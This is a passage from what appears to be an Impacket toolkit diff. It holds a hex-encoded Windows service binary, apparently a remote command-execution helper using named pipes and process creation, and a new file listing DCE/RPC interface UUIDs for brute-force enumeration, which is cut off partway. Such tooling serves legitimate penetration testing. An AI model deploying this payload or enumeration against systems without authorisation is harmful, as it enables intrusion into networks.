+b'505152535455565758595a7b7c7d7e7f808182838485868788898a8b8c8d8e8f909192' \
+b'939495969798999a9b9c9d9e9fa0a1a2a3a4a5a6a7a8a9aaabacadaeafb0b1b2b3b4b5' \
+b'b6b7b8b9babbbcbdbebfc0c1c2c3c4c5c6c7c8c9cacbcccdcecfd0d1d2d3d4d5d6d7d8' \
+b'd9dadbdcdddedfe0e1e2e3e4e5e6e7e8e9eaebecedeeeff0f1f2f3f4f5f6f7f8f9fafb' \
+b'fcfdfeff48483a6d6d3a737300000000646464642c204d4d4d4d2064642c2079797979' \
+b'004d4d2f64642f797900000000504d0000414d0000446563656d626572000000004e6f' \
+b'76656d626572000000004f63746f6265720053657074656d6265720000004175677573' \
+b'7400004a756c79000000004a756e6500000000417072696c0000004d61726368000000' \
+b'4665627275617279000000004a616e7561727900446563004e6f76004f637400536570' \
+b'00417567004a756c004a756e004d617900417072004d617200466562004a616e005361' \
+b'7475726461790000000046726964617900005468757273646179000000005765646e65' \
+b'7364617900000054756573646179004d6f6e646179000053756e646179000053617400' \
+b'467269005468750057656400547565004d6f6e0053756e000000000053756e4d6f6e54' \
+b'75655765645468754672695361740000004a616e4665624d61724170724d61794a756e' \
+b'4a756c4175675365704f63744e6f7644656300000000434f4e4f555424004800000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'000000000000000000000000000000000000000000e04000d0c4400003000000000000' \
+b'0000000000502b0000585d0000808f0000000000000000000000000000000000000000' \
+b'0000feffffff00000000d4ffffff00000000feffffffe3184000f718400000000000fe' \
+b'ffffff00000000d4ffffff00000000feffffff00000000cf1a400000000000feffffff' \
+b'00000000ccffffff00000000feffffff681d40007c1d400000000000feffffff000000' \
+b'00d4ffffff00000000feffffff0000000029214000feffffff0000000038214000feff' \
+b'ffff00000000d8ffffff00000000feffffff00000000eb224000feffffff00000000f7' \
+b'224000feffffff00000000d8ffffff00000000feffffff1b2640002f26400000000000' \
+b'feffffff00000000c8ffffff00000000feffffff00000000d528400000000000feffff' \
+b'ff00000000d4ffffff00000000feffffff00000000bd2d400000000000feffffff0000' \
+b'0000d4ffffff00000000feffffffe2414000fe41400000000000feffffff000000008c' \
+b'ffffff00000000feffffff5f4b4000634b400000000000feffffff00000000d4ffffff' \
+b'00000000feffffff00000000034e400000000000feffffff00000000d4ffffff000000' \
+b'00feffffff000000005851400000000000feffffff00000000d4ffffff00000000feff' \
+b'ffff000000002254400000000000feffffff00000000ccffffff00000000feffffff00' \
+b'000000f057400000000000feffffff00000000d4ffffff00000000feffffff00000000' \
+b'6859400000000000feffffff00000000d8ffffff00000000feffffffc6594000ca5940' \
+b'0000000000feffffff00000000c0ffffff00000000feffffff00000000c05b40000000' \
+b'0000feffffff00000000d0ffffff00000000feffffff505c4000675c400000000000fe' \
+b'ffffff00000000d4ffffff00000000feffffff000000002569400000000000feffffff' \
+b'00000000d4ffffff00000000feffffff00000000ef6a400000000000feffffff000000' \
+b'00d0ffffff00000000feffffff00000000546c400000000000feffffff00000000d0ff' \
+b'ffff00000000feffffff00000000c76d400000000000feffffff00000000ccffffff00' \
+b'000000feffffff00000000516f400000000000000000001d6f4000feffffff00000000' \
+b'ccffffff00000000feffffff000000008974400000000000feffffff00000000d0ffff' \
+b'ff00000000feffffff00000000987c400000000000feffffff00000000d0ffffff0000' \
+b'0000feffffff000000002c8e400000000000feffffff00000000d4ffffff00000000fe' \
+b'ffffff00000000ed94400000000000feffffff00000000d0ffffff00000000feffffff' \
+b'00000000cf95400000000000feffffff00000000d4ffffff00000000feffffff000000' \
+b'00c299400000000000feffffff00000000d0ffffff00000000feffffff00000000b6a1' \
+b'40003cc900000000000000000000c4cb00003cb0000000c90000000000000000000002' \
+b'cd000000b000000000000000000000000000000000000000000000c6cc0000a8cc0000' \
+b'8acc000076cc000060cc000044cc000038cc00002ecc00001ccc00000ccc0000f6cb00' \
+b'00e6cb0000d2cb0000e2cc00000000000094cb00007ecb0000accb000066cb000054cb' \
+b'00003ecb000028cb000014cb000000cb0000f0ca0000daca0000ccca0000beca0000b2' \
+b'ca0000a4ca000098ca0000a0cb000088ca000010cd00001ecd00002ecd00003ecd0000' \
+b'50cd000064cd000078cd000094cd0000b2cd0000c6cd0000dacd0000eccd0000facd00' \
+b'0006ce000014ce00001ece00002ece000044ce00004cce00005ace000066ce00007ece' \
+b'000096ce0000a6ce0000bcce0000d6ce0000eece000008cf00001ecf000038cf00004a' \
+b'cf000058cf00006acf000082cf000090cf00009ecf0000b8cf0000c8cf0000e2cf0000' \
+b'eecf0000f8cf000004d0000016d0000026d000004ed000005ad0000066d0000076d000' \
+b'0084d0000096d00000a6d00000b8d00000cad00000dcd00000f2d0000004d1000014d1' \
+b'000024d1000030d1000044d1000054d1000064d100007ad100008ad1000000000000e6' \
+b'014765744c6173744572726f720000d3035365744576656e7400004300436c6f736548' \
+b'616e646c6500fd024c6f63616c4672656500f9024c6f63616c416c6c6f63000033034f' \
+b'70656e50726f6365737300aa0147657443757272656e7450726f636573734964007200' \
+b'4372656174654576656e744100005600436f6e6e6563744e616d65645069706500008f' \
+b'004372656174654e616d656450697065410000c50147657445786974436f646550726f' \
+b'636573730000640457616974466f7253696e676c654f626a6563740094004372656174' \
+b'6550726f63657373410000bc02496e7465726c6f636b656444656372656d656e740000' \
+b'cd00446973636f6e6e6563744e616d656450697065008d04577269746546696c650068' \
+b'035265616446696c650000c002496e7465726c6f636b6564496e6372656d656e740000' \
+b'4b45524e454c33322e646c6c0000ba02536574536572766963655374617475730000d6' \
+b'0044656c65746553657276696365005300436c6f73655365727669636548616e646c65' \
+b'0000f4014f70656e53657276696365410000f2014f70656e53434d616e616765724100' \
+b'001a0146726565536964000201457175616c53696400001f00416c6c6f63617465416e' \
+b'64496e697469616c697a6553696400005401476574546f6b656e496e666f726d617469' \
+b'6f6e00f1014f70656e50726f63657373546f6b656e00007f0252656769737465725365' \
+b'72766963654374726c48616e646c65724100c102537461727453657276696365437472' \
+b'6c446973706174636865724100b002536574536563757269747944657363726970746f' \
+b'724461636c007101496e697469616c697a65536563757269747944657363726970746f' \
+b'72000041445641504933322e646c6c000005014578697454687265616400008d035265' \
+b'73756d655468726561640000a30043726561746554687265616400006f01476574436f' \
+b'6d6d616e644c696e6541002d045465726d696e61746550726f636573730000a9014765' \
+b'7443757272656e7450726f63657373003e04556e68616e646c6564457863657074696f' \
+b'6e46696c74657200001504536574556e68616e646c6564457863657074696f6e46696c' \
+b'74657200d1024973446562756767657250726573656e7400f9014765744d6f64756c65' \
+b'48616e646c65570000200247657450726f634164647265737300003404546c73476574' \
+b'56616c7565003204546c73416c6c6f6300003504546c7353657456616c756500330454' \
+b'6c734672656500ec035365744c6173744572726f720000ad0147657443757272656e74' \
+b'546872656164496400002104536c6565700004014578697450726f6365737300a10248' \
+b'656170467265650000d900456e746572437269746963616c53656374696f6e0000ef02' \
+b'4c65617665437269746963616c53656374696f6e00003b0247657453746448616e646c' \
+b'650000f4014765744d6f64756c6546696c654e616d654100004a0146726565456e7669' \
+b'726f6e6d656e74537472696e67734100bf01476574456e7669726f6e6d656e74537472' \
+b'696e6773004b0146726565456e7669726f6e6d656e74537472696e677357007a045769' \
+b'646543686172546f4d756c74694279746500c101476574456e7669726f6e6d656e7453' \
+b'7472696e6773570000e80353657448616e646c65436f756e740000d70147657446696c' \
+b'655479706500390247657453746172747570496e666f4100be0044656c657465437269' \
+b'746963616c53656374696f6e009f024865617043726561746500005704566972747561' \
+b'6c467265650054035175657279506572666f726d616e6365436f756e74657200660247' \
+b'65745469636b436f756e7400004f0247657453797374656d54696d65417346696c6554' \
+b'696d65005b014765744350496e666f005201476574414350000013024765744f454d43' \
+b'500000db02497356616c6964436f64655061676500f1024c6f61644c69627261727941' \
+b'0000b502496e697469616c697a65437269746963616c53656374696f6e416e64537069' \
+b'6e436f756e7400920352746c556e77696e64009d0248656170416c6c6f630054045669' \
+b'727475616c416c6c6f630000a402486561705265416c6c6f6300df0353657446696c65' \
+b'506f696e74657200008301476574436f6e736f6c65435000009501476574436f6e736f' \
+b'6c654d6f64650000e8014765744c6f63616c65496e666f4100003d0247657453747269' \
+b'6e67547970654100001a034d756c746942797465546f57696465436861720040024765' \
+b'74537472696e6754797065570000e1024c434d6170537472696e67410000e3024c434d' \
+b'6170537472696e67570000a6024865617053697a6500004101466c75736846696c6542' \
+b'7566666572730000fc0353657453746448616e646c65000082045772697465436f6e73' \
+b'6f6c6541009901476574436f6e736f6c654f7574707574435000008c04577269746543' \
+b'6f6e736f6c655700780043726561746546696c65410000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000004ee640bbb119bf44000000000000' \
+b'000001000000ffffffffffffffff032940000300000007000000780000000a00000001' \
+b'0000001600000002000000020000000300000002000000040000001800000005000000' \
+b'0d0000000600000009000000070000000c000000080000000c000000090000000c0000' \
+b'000a000000070000000b000000080000000c000000160000000d000000160000000f00' \
+b'000002000000100000000d00000011000000120000001200000002000000210000000d' \
+b'0000003500000002000000410000000d00000043000000020000005000000011000000' \
+b'520000000d000000530000000d0000005700000016000000590000000b0000006c0000' \
+b'000d0000006d00000020000000700000001c0000007200000009000000060000001600' \
+b'0000800000000a000000810000000a0000008200000009000000830000001600000084' \
+b'0000000d00000091000000290000009e0000000d000000a100000002000000a4000000' \
+b'0b000000a70000000d000000b700000011000000ce00000002000000d70000000b0000' \
+b'00180700000c0000000c0000000800000000fe40000000000000fe4000010100000000' \
+b'0000000000000010000000000000000000000000000000000000020000000100000000' \
+b'0000000000000000000000000000000000000000000000020000000200000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'00000000000000000000000000000000000000000000000000000088b3400078b34000' \
+b'0200000018b9400008000000ecb8400009000000c0b840000a00000028b84000100000' \
+b'00fcb7400011000000ccb7400012000000a8b74000130000007cb740001800000044b7' \
+b'4000190000001cb740001a000000e4b640001b000000acb640001c00000084b640001e' \
+b'00000064b640001f00000000b6400020000000c8b5400021000000d0b4400022000000' \
+b'30b440007800000020b440007900000010b440007a00000000b44000fc000000fcb340' \
+b'00ff000000ecb34000ffffffff800a0000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000001000000000000000000000000100000000000000010000000000000000000000' \
+b'0000000001000000000000000100000000000000000000000000000001000000000000' \
+b'0001000000000000000100000000000000000000000000000001000000000000000000' \
+b'0000000000000100000000000000010000000000000001000000000000000000000000' \
+b'0000000100000000000000010000000000000001000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000004be4000000000004300000000000000' \
+b'0100000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'00000000000000000000000000000000000050e6400000000000000000000000000050' \
+b'e6400000000000000000000000000050e6400000000000000000000000000050e64000' \
+b'00000000000000000000000050e6400000000000000000000000000001000000010000' \
+b'0000000000000000000000000058ed4000000000000000000000bc400088c0400008c2' \
+b'400098ec400058e640000100000058e6400040e7400000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000101010101010101010101010101010101010101010101010' \
+b'1010000000000000202020202020202020202020202020202020202020202020202000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'000000000000000000000000000000000000000000006162636465666768696a6b6c6d' \
+b'6e6f707172737475767778797a0000000000004142434445464748494a4b4c4d4e4f50' \
+b'5152535455565758595a00000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000101010101010101010101010101010101010101010101010101000000000000020' \
+b'2020202020202020202020202020202020202020202020202000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'00000000000000000000000000000000000000006162636465666768696a6b6c6d6e6f' \
+b'707172737475767778797a0000000000004142434445464748494a4b4c4d4e4f505152' \
+b'535455565758595a000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0040e7400001020408a4030000608279822100000000000000a6df000000000000a1a5' \
+b'000000000000819fe0fc00000000407e80fc00000000a8030000c1a3daa32000000000' \
+b'0000000000000000000000000000000000000081fe00000000000040fe000000000000' \
+b'b5030000c1a3daa320000000000000000000000000000000000000000000000081fe00' \
+b'000000000041fe000000000000b6030000cfa2e4a21a00e5a2e8a25b00000000000000' \
+b'0000000000000000000081fe000000000000407ea1fe000000005105000051da5eda20' \
+b'005fda6ada32000000000000000000000000000000000081d3d8dee0f90000317e81fe' \
+b'000000003d8e40003d8e40003d8e40003d8e40003d8e40003d8e40003d8e40003d8e40' \
+b'003d8e40003d8e4000feffffff0000000000bc400002be400030c440002cc4400028c4' \
+b'400024c4400020c440001cc4400018c4400010c4400008c4400000c44000f4c34000e8' \
+b'c34000e0c34000d4c34000d0c34000ccc34000c8c34000c4c34000c0c34000bcc34000' \
+b'b8c34000b4c34000b0c34000acc34000a8c34000a4c340009cc3400090c3400088c340' \
+b'0080c34000c0c3400078c3400070c3400068c340005cc3400054c3400048c340003cc3' \
+b'400038c3400034c3400028c3400014c3400008c3400009040000010000000000000098' \
+b'ec40002e00000054ed4000d8fb4000d8fb4000d8fb4000d8fb4000d8fb4000d8fb4000' \
+b'd8fb4000d8fb4000d8fb40007f7f7f7f7f7f7f7f58ed4000010000002e000000010000' \
+b'0000000000000000000300000020059319000000000000000000000000000000000000' \
+b'00000000000002000000000000008070000001000000f0f1ffff000000005053540000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000005044540000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'000000000000000000000000000000000000d8ed400018ee4000ffffffff0000000000' \
+b'000000ffffffff00000000000000000000000000000000fefffffffeffffffffffffff' \
+b'1e0000003b0000005a0000007800000097000000b5000000d4000000f3000000110100' \
+b'00300100004e0100006d010000ffffffff1e0000003a00000059000000770000009600' \
+b'0000b4000000d3000000f2000000100100002f0100004d0100006c0100000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000400000000' \
+b'0001001800000018000080000000000000000004000000000001000100000030000080' \
+b'000000000000000004000000000001000904000048000000581001005a010000e40400' \
+b'00000000003c617373656d626c7920786d6c6e733d2275726e3a736368656d61732d6d' \
+b'6963726f736f66742d636f6d3a61736d2e763122206d616e696665737456657273696f' \
+b'6e3d22312e30223e0d0a20203c7472757374496e666f20786d6c6e733d2275726e3a73' \
+b'6368656d61732d6d6963726f736f66742d636f6d3a61736d2e7633223e0d0a20202020' \
+b'3c73656375726974793e0d0a2020202020203c72657175657374656450726976696c65' \
+b'6765733e0d0a20202020202020203c726571756573746564457865637574696f6e4c65' \
+b'76656c206c6576656c3d226173496e766f6b6572222075694163636573733d2266616c' \
+b'7365223e3c2f726571756573746564457865637574696f6e4c6576656c3e0d0a202020' \
+b'2020203c2f72657175657374656450726976696c656765733e0d0a202020203c2f7365' \
+b'6375726974793e0d0a20203c2f7472757374496e666f3e0d0a3c2f617373656d626c79' \
+b'3e504150414444494e47585850414444494e4750414444494e47585850414444494e47' \
+b'50414444494e47585850414444494e4750414444494e47585850414444494e47504144' \
+b'44494e47585850414400100000a00100000d301e30253032303d30423047304e305830' \
+b'5e3064306a30703077309c30a130aa30b130b730be30c330c930d230d730de30e830f7' \
+b'300b31443154315e3171317d319131a231be31ca31ff3172328432a732c332cc321433' \
+b'19331f33293333333d33433349334f3355335a3363336a3374337a3380338a3398339f' \
+b'33a433cd33d433fc330e34403450347c3484348934ac34b134b634c834cd34d234dd34' \
+b'f8341235323550357735aa350736653689369136de36ec36f2361b375d3764376b3770' \
+b'3776377c3785378c37a937b137ef37063815381d383638413849385d3864386c387b38' \
+b'84389438ae38bd38c53830393739583960397039e039f039003a0b3a363ae33aee3aa0' \
+b'3b323c573c683c6f3c753c873c8f3c9a3ceb3cf03cfa3c343d393d403d463dbc3dc23d' \
+b'c83dce3dd43dda3de13de83def3df63dfd3d043e0b3e133e1b3e233e2f3e383e3d3e43' \
+b'3e4d3e563e613e6d3e723e823e873e8d3e933ea93eb03ebe3ec43ecf3edb3ef03ef73e' \
+b'0b3f123f393f3f3f4a3f563f6b3f723f863f8d3fa53fb63fbc3fc73fd13fd73fe33ff2' \
+b'3ff83f000000200000400100000d301e302a3038303e304a3050305d3067306e308630' \
+b'95309c30a930cc30e130073147314d3177317d319931b131d731513274327e32b632be' \
+b'320a331a3320332c333233423348335d336b3376337d3398339d33a533ab33b233b833' \
+b'bf33c533cd33d433d933e133ea33f633fb33003406340a34103415341b3420342f3445' \
+b'34503455346034653470347534823490349634a334c334c934e53498359d35af35cd35' \
+b'e135e7355b3664369136ac36b236bb36c236e43643374b375e3769376e377e3788378f' \
+b'379a37a337b937c437de37ea37f23702381738573864388e3893389e38a338c1387239' \
+b'7f39a1391a3a203a393a3f3ae93a063b623b3c3c443c5c3c743ccb3ce93c053d283d3b' \
+b'3d6a3d7c3dcb3dd13de23d0f3e183e243e5b3e643e703ea93eb23ebe3edd3eef3ec13f' \
+b'cb3fd83ff33ffa3f0000003000006c000000123032303830523061306e307a308a3091' \
+b'30a030ac30b930dd30ef30fd3012311c314231753184318d31b131e03122323432e032' \
+b'e832fd320833ef339134af34d534353548356335ae389e39283b573b7c3b5f3d5b3f5f' \
+b'3f633f673f6b3f6f3f733f773f00400000dc0000007f308630c8317d32c732cd32eb32' \
+b'22333a3345336933723379338233c233c733ef33143439344c34643476349a34ba34c9' \
+b'3401350b355b356635703581358c353f37503758375e3763376937d537db37f137fc37' \
+b'13381f382c3833386a38b938cc38fe381739253939395a3960399239e939f139313a3b' \
+b'3a633a7c3abd3aed3aff3a513b573b7a3b7f3ba03ba53bd93bde3bec3bfb3b1e3c2b3c' \
+b'373c3f3c473c533c773c7f3c8a3c973c9e3ca83cd23ce03ce63c093d103d293d3d3d43' \
+b'3d4c3d5f3d833d183e383e573e1c3f463f913fdd3f000000500000c00000002c307430' \
+b'da30f13002313e31c63103321a328d339e33d833e533ef33fd330634103444344f3459' \
+b'3472347c348f34b334ea341f353235a235bf3507367336923607371337263738375337' \
+b'5b3763377a379337af37b837be37c737cc37db3702382b383c3852385d38d738f03819' \
+b'391e3935398d39a939e039eb39f939fe39033a083a183a473a553a9c3aa13ae63aeb3a' \
+b'f23af73afe3a033b723b7b3b813b0b3c1a3c293c323c473c773c983ca53cdd3ce93cf5' \
+b'3d223e273e00600000b80000006a3078307e3098309d30ac30b530c230cd30df30f230' \
+b'fd30033109310e31173134313a3145314a3152315831623169317d3184318a3198319f' \
+b'31a431ad31ba31c031da31eb31f1310232673203360f3642366836a236e736ba38c538' \
+b'cd38e238f43844394a396a39a139b239fb39573a6c3ab23ab83ac43a193b4c3b843bef' \
+b'3bf53b463c4c3c703c933cc73ccd3cd93c203d343d553d613d883d953d9a3da83d833e' \
+b'a63eb13ed43e233f883fb53f00000070000064000000ac31ca31393346335f337d33bb' \
+b'33ea33a3340835bc35dc35cc36f5364e37dc38bc39853ab63acc3a0d3b2c3bc93bfd3b' \
+b'2c3ca93c013d0f3d153d253d2a3d423d483d573d5d3d6c3d723d803d893d983d9d3da7' \
+b'3db53df53d123e2f3e00800000cc000000003007300d30ca30ff3018311f3127312c31' \
+b'303134315d318331a131a831ac31b031b431b831bc31c031c4310e32143218321c3220' \
+b'3286329132ac32b332b832bc32c032e1320b333d33443348334c335033543358335c33' \
+b'6033aa33b033b433b833bc33ab35bd35cf35f13503361536273639364b365d3670377a' \
+b'3792379937a337ab37b837bf37ef378838fd38b939cb39d839e439ee39f639013a313a' \
+b'613af83aa83bcb3b493c1a3d9d3dd53d183e1e3e523e5d3e803e443f513f6c3fd13fdd' \
+b'3f000000900000c000000055306f307830ca30ff3018311f3127312c31303134315d31' \
+b'8331a131a831ac31b031b431b831bc31c031c4310e32143218321c32203286329132ac' \
+b'32b332b832bc32c032e1320b333d33443348334c335033543358335c336033aa33b033' \
+b'b433b833bc337f34fb3427354f35863590351b3822384638563871389138e738f83833' \
+b'394f39aa39b539e339f139003a0e3a163a233a413a4b3a543a5f3a743a7b3a813a973a' \
+b'b23a573bc53bab3dc83df43d2d3e3a3e193f283f00a00000240000006e30ab30b530cd' \
+b'30f6302a315931003206320b32113218322a32c03300b000001c000000943198319c31' \
+b'a031a431b031b43168326c32000000c000005c000000bc34c034043508352835443548' \
+b'356835743590359c35b435b835d835f8351436183634363836583678369836b836d836' \
+b'f436f836183734373837583778379837b837d837e43700382038403860388038a038c0' \
+b'3800e00000e80000001c30a031a831203424342c3434343c3444344c3454345c346434' \
+b'6c3474347c3484348c3494349c34a434ac34b434bc34c434cc34d434dc344836b036c0' \
+b'36d036e036f03614372037243728372c37303738373c37683b603c643c683c6c3c703c' \
+b'743c783c7c3c803c843c903c943c983c9c3ca03ca43ca83cac3cb03cb43cb83cbc3cc0' \
+b'3cc43cc83ccc3cd03cd43cd83cdc3ce03ce43ce83cec3cf03cf43cf83cfc3c003d043d' \
+b'083d0c3d103d143d183d1c3d203d243d283d2c3d303d343d383d3c3d403d503d583d5c' \
+b'3d603d643d683d6c3d703d743d783d7c3d883d583e5c3e000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'0000000000000000000000000000000000000000000000000000000000000000000000' \
+b'00000000000000000000'
diff --git a/impacket/examples/rpcdatabase.py b/impacket/examples/rpcdatabase.py
new file mode 100644
index 0000000..e3429c0
--- /dev/null
+++ b/impacket/examples/rpcdatabase.py
@@ -0,0 +1,271 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   A list of DCE/RPC UUIDs to bruteforce
+#
+# Author:
+#   Catalin Patulea <cat@vv.carleton.ca>
+#
+import struct
+
+from impacket import uuid
+from impacket.dcerpc.v5.epm import KNOWN_UUIDS
+
+uuid_database = set(uuid.string_to_uuidtup(line) for line in """
+00000001-0000-0000-c000-000000000046 v0.0
+00000131-0000-0000-c000-000000000046 v0.0
+00000132-0000-0000-c000-000000000046 v0.0
+00000134-0000-0000-c000-000000000046 v0.0
+00000136-0000-0000-c000-000000000046 v0.0
+00000141-0000-0000-c000-000000000046 v0.0
+00000143-0000-0000-c000-000000000046 v0.0
+000001a0-0000-0000-c000-000000000046 v0.0
+027947e1-d731-11ce-a357-000000000001 v0.0
+04fcb220-fcfd-11cd-bec8-00aa0047ae4e v1.0
+06bba54a-be05-49f9-b0a0-30f790261023 v1.0
+0767a036-0d22-48aa-ba69-b619480f38cb v1.0
+0a5a5830-58e0-11ce-a3cc-00aa00607271 v1.0
+0a74ef1c-41a4-4e06-83ae-dc74fb1cdd53 v1.0
+0b0a6584-9e0f-11cf-a3cf-00805f68cb1b v1.0
+0b0a6584-9e0f-11cf-a3cf-00805f68cb1b v1.1
+0b6edbfa-4a24-4fc6-8a23-942b1eca65d1 v1.0
+0c821d64-a3fc-11d1-bb7a-0080c75e4ec1 v1.0
+0d72a7d4-6148-11d1-b4aa-00c04fb66ea0 v1.0
+0da5a86c-12c2-4943-30ab-7f74a813d853 v1.0
+0e4a0156-dd5d-11d2-8c2f-00c04fb6bcde v1.0
+1088a980-eae5-11d0-8d9b-00a02453c337 v1.0
+10f24e8e-0fa6-11d2-a910-00c04f990f3b v1.0
+11220835-5b26-4d94-ae86-c3e475a809de v1.0
+12345678-1234-abcd-ef00-0123456789ab v1.0
+12345678-1234-abcd-ef00-01234567cffb v1.0
+12345778-1234-abcd-ef00-0123456789ab v0.0
+12345778-1234-abcd-ef00-0123456789ac v1.0
+12b81e99-f207-4a4c-85d3-77b42f76fd14 v1.0
+12d4b7c8-77d5-11d1-8c24-00c04fa3080d v1.0
+12e65dd8-887f-41ef-91bf-8d816c42c2e7 v1.0
+130ceefb-e466-11d1-b78b-00c04fa32883 v2.0
+1453c42c-0fa6-11d2-a910-00c04f990f3b v1.0
+1544f5e0-613c-11d1-93df-00c04fd7bd09 v1.0
+16e0cf3a-a604-11d0-96b1-00a0c91ece30 v1.0
+16e0cf3a-a604-11d0-96b1-00a0c91ece30 v2.0
+17fdd703-1827-4e34-79d4-24a55c53bb37 v1.0
+18f70770-8e64-11cf-9af1-0020af6e72f4 v0.0
+1a9134dd-7b39-45ba-ad88-44d01ca47f28 v1.0
+1bddb2a6-c0c3-41be-8703-ddbdf4f0e80a v1.0
